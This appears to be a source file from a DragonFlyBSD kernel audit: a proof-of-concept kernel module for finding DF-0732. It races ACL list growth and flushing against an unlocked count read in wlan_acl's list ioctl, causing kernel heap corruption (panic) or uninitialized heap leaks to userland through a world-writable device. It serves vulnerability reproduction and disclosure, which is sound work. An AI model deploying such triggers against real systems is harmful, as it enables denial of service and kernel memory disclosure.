DragonFlyBSD Kernel Audit
DF-0732 / harness_mod.c
← back to finding ↓ download raw
/*
 * DF-0732 harness kernel module.
 *
 * The vulnerable code path (acl_getioctl / IEEE80211_MACCMD_LIST in
 * wlan_acl/ieee80211_acl.c) is only reachable on a live 802.11 vap, which
 * needs a wireless radio driver — none ship in the audit VM.  This module
 * reproduces the exact TOCTOU at the object level: it allocates a minimal
 * zeroed ieee80211vap, attaches the real "mac" aclator (wlan_acl.ko), and
 * exposes /dev/df0732 whose ioctl handler invokes the aclator's
 * iac_getioctl in the calling user's context (so copyout works), while a
 * concurrent kthread continuously calls iac_add to grow the list.
 *
 * Bug: acl_getioctl reads as->as_nacls WITHOUT the ACL_LOCK to size the
 * kmalloc, then takes the lock and TAILQ_FOREACH-walks the *current*
 * (possibly grown) list, writing attacker-controlled MAC bytes past the
 * ap[] end.  With INVARIANTS (default GENERIC) the resulting slab
 * corruption is detected on IEEE80211_FREE(ap) and the kernel panics.
 *
 * Load:  kldload ./harness_mod.ko
 * Drive: ./trigger
 */

#include "opt_wlan.h"

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/module.h>
#include <sys/conf.h>
#include <sys/device.h>
#include <sys/ioccom.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/proc.h>
#include <sys/kthread.h>
#include <sys/thread.h>
#include <sys/thread2.h>

#include <sys/socket.h>
#include <sys/mbuf.h>

#include <net/if.h>
#include <net/if_var.h>
#include <net/if_media.h>
#include <net/ethernet.h>
#include <net/route.h>

#include <netproto/802_11/ieee80211_var.h>
#include <netproto/802_11/ieee80211_ioctl.h>
#include <netproto/802_11/ieee80211_proto.h>

/* ioctl the trigger issues: "give me the ACL list into this user buffer" */
struct df0732_list_req {
	void	*buf;
	size_t	 len;
	size_t	 *ret_len;	/* kernel writes actual data length here */
};
#define DF0732_IOCTL_LIST	_IOW('D', 1, struct df0732_list_req)

static struct ieee80211vap *fake_vap;
static const struct ieee80211_aclator *acl;
static struct thread *adder_td;
static struct thread *flusher_td;
static volatile int harness_stop;
static volatile int adder_done;
static volatile int flusher_done;
static volatile unsigned long add_count;
static volatile unsigned long flush_count;
static volatile unsigned long race_detected;
static volatile unsigned long total_ioctl_calls;
static cdev_t df0732_dev;

static d_open_t      df0732_open;
static d_close_t     df0732_close;
static d_ioctl_t     df0732_ioctl;

static struct dev_ops df0732_ops = {
	.head = { .name = "df0732", .maj = 0, .flags = 0 },
	.d_open =	df0732_open,
	.d_close =	df0732_close,
	.d_ioctl =	df0732_ioctl,
};

static int
df0732_open(struct dev_open_args *ap)
{
	return 0;
}

static int
df0732_close(struct dev_close_args *ap)
{
	return 0;
}

static int
df0732_ioctl(struct dev_ioctl_args *ap)
{
	struct df0732_list_req *reqp;
	struct ieee80211req ireq;
	struct ieee80211req ireq_after;
	int error;

	/* DragonFly's ioctl(2) already copyin()'d our _IOW argument into
	 * a kernel buffer; ap->a_data IS that kernel buffer, not a user
	 * pointer.  Dereference directly. */
	if (ap->a_cmd != DF0732_IOCTL_LIST)
		return ENOTTY;
	reqp = (struct df0732_list_req *)ap->a_data;

	/* Build an ieee80211req exactly like SIOCG80211 MACCMD_LIST. */
	memset(&ireq, 0, sizeof(ireq));
	ireq.i_type = IEEE80211_IOC_MACCMD;
	ireq.i_val  = IEEE80211_MACCMD_LIST;
	ireq.i_data = reqp->buf;	/* user-space destination buffer */
	ireq.i_len  = reqp->len;	/* nonzero => hit alloc+walk path */

	if (total_ioctl_calls < 3) {
		kprintf("df0732_ioctl: reqp=%p buf=%p len=%zu ret_len=%p\n",
			reqp, reqp->buf, reqp->len, reqp->ret_len);
	}

	error = acl->iac_getioctl(fake_vap, &ireq);

	/* Diagnostic: read current count under lock to detect TOCTOU. */
	memset(&ireq_after, 0, sizeof(ireq_after));
	ireq_after.i_type = IEEE80211_IOC_MACCMD;
	ireq_after.i_val  = IEEE80211_MACCMD_LIST;
	ireq_after.i_len  = 0;		/* i_len=0 => returns count, no alloc */
	acl->iac_getioctl(fake_vap, &ireq_after);

	if (error == 0) {
		uint32_t returned_entries = ireq.i_len / IEEE80211_ADDR_LEN;
		uint32_t actual_entries  = ireq_after.i_len / IEEE80211_ADDR_LEN;
		if (returned_entries != actual_entries &&
		    (returned_entries < actual_entries ||
		     returned_entries > actual_entries + 1)) {
			__atomic_fetch_add(&race_detected, 1,
					   __ATOMIC_RELAXED);
			if (race_detected <= 20) {
				kprintf("df0732 RACE: returned=%u "
					"actual=%u\n",
					returned_entries, actual_entries);
			}
		}
		if (total_ioctl_calls < 10) {
			kprintf("df0732 call %lu: returned=%u actual=%u "
				"err=%d\n",
				total_ioctl_calls, returned_entries,
				actual_entries, error);
		}
		__atomic_fetch_add(&total_ioctl_calls, 1,
				   __ATOMIC_RELAXED);
		if (reqp->ret_len != NULL)
			copyout(&ireq.i_len, reqp->ret_len,
				sizeof(ireq.i_len));
	} else {
		if (total_ioctl_calls < 10) {
			kprintf("df0732 call %lu: ERROR=%d\n",
				total_ioctl_calls, error);
		}
		__atomic_fetch_add(&total_ioctl_calls, 1,
				   __ATOMIC_RELAXED);
	}
	return error;
}

static void
adder_thread(void *arg)
{
	uint8_t mac[IEEE80211_ADDR_LEN] = { 0xde, 0xad, 0xbe, 0xef, 0x00, 0x00 };
	uint32_t counter = 0;

	while (!harness_stop) {
		mac[3] = (counter >> 16) & 0xff;
		mac[4] = (counter >> 8)  & 0xff;
		mac[5] =  counter        & 0xff;
		counter++;
		acl->iac_add(fake_vap, mac);	/* grows as_list under ACL_LOCK */
		__atomic_fetch_add(&add_count, 1, __ATOMIC_RELAXED);
		if ((counter & 0x3fff) == 0)
			lwkt_yield();
	}
	adder_done = 1;
	wakeup(&adder_done);
	kthread_exit();
}

/*
 * Flusher kthread: periodically clears the entire ACL list.  This sets up
 * the "shrink race": the lister reads as_nacls=N (unlocked), allocates N*6
 * bytes (no M_ZERO), then we flush the list to 0; the lister walks 0
 * entries and ships N*6 bytes of uninitialized heap to userland = info
 * leak.  Also creates the grow race by cycling the list size.
 */
static void
flusher_thread(void *arg)
{
	while (!harness_stop) {
		/* Brief pause so the list grows between flushes. */
		tsleep(&flusher_td, 0, "df0732fl", hz / 100 + 1);
		acl->iac_flush(fake_vap);	/* clears as_list/as_nacls */
		__atomic_fetch_add(&flush_count, 1, __ATOMIC_RELAXED);
	}
	flusher_done = 1;
	wakeup(&flusher_done);
	kthread_exit();
}

static int
df0732_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		acl = ieee80211_aclator_get("mac");
		if (acl == NULL) {
			kprintf("df0732: wlan_acl not loaded\n");
			return ENXIO;
		}
		fake_vap = kmalloc(sizeof(*fake_vap), M_TEMP,
				   M_INTWAIT | M_ZERO);
		if (fake_vap == NULL)
			return ENOMEM;
		if (!acl->iac_attach(fake_vap)) {
			kfree(fake_vap, M_TEMP);
			return ENXIO;
		}
		harness_stop = 0;
		adder_done = 0;
		flusher_done = 0;
		add_count = 0;
		flush_count = 0;
		/* Pre-populate so the first LIST is non-trivial. */
		for (uint32_t i = 0; i < 16; i++) {
			uint8_t m[6] = {0xaa,0xbb,0xcc,0xdd,
			                (uint8_t)(i>>8), (uint8_t)i};
			acl->iac_add(fake_vap, m);
		}
		kthread_create(adder_thread, NULL, &adder_td, "df0732_add");
		kthread_create(flusher_thread, NULL, &flusher_td,
			       "df0732_flu");
		df0732_dev = make_dev(&df0732_ops, 0, UID_ROOT, GID_WHEEL,
				      0666, "df0732");
		kprintf("df0732: harness loaded (/dev/df0732); "
			"adder+flusher kthreads running\n");
		return 0;

	case MOD_UNLOAD:
		harness_stop = 1;
		while (!adder_done)
			tsleep(&adder_done, 0, "df0732un", hz);
		while (!flusher_done)
			tsleep(&flusher_done, 0, "df0732un", hz);
		if (df0732_dev != NULL)
			destroy_dev(df0732_dev);
		if (acl != NULL && fake_vap != NULL)
			acl->iac_detach(fake_vap);
		if (fake_vap != NULL)
			kfree(fake_vap, M_TEMP);
		kprintf("df0732: harness unloaded "
			"(adds=%lu flushes=%lu races=%lu)\n", add_count,
			flush_count, race_detected);
		return 0;
	}
	return EINVAL;
}

DEV_MODULE(df0732, df0732_modevent, NULL);
/* Note: IEEE80211_ACL_MODULE prepends "wlan_" so the registered module
 * name is "wlan_wlan_acl", not "wlan_acl". */
MODULE_DEPEND(df0732, wlan_wlan_acl, 1, 1, 1);
MODULE_DEPEND(df0732, wlan, 1, 1, 1);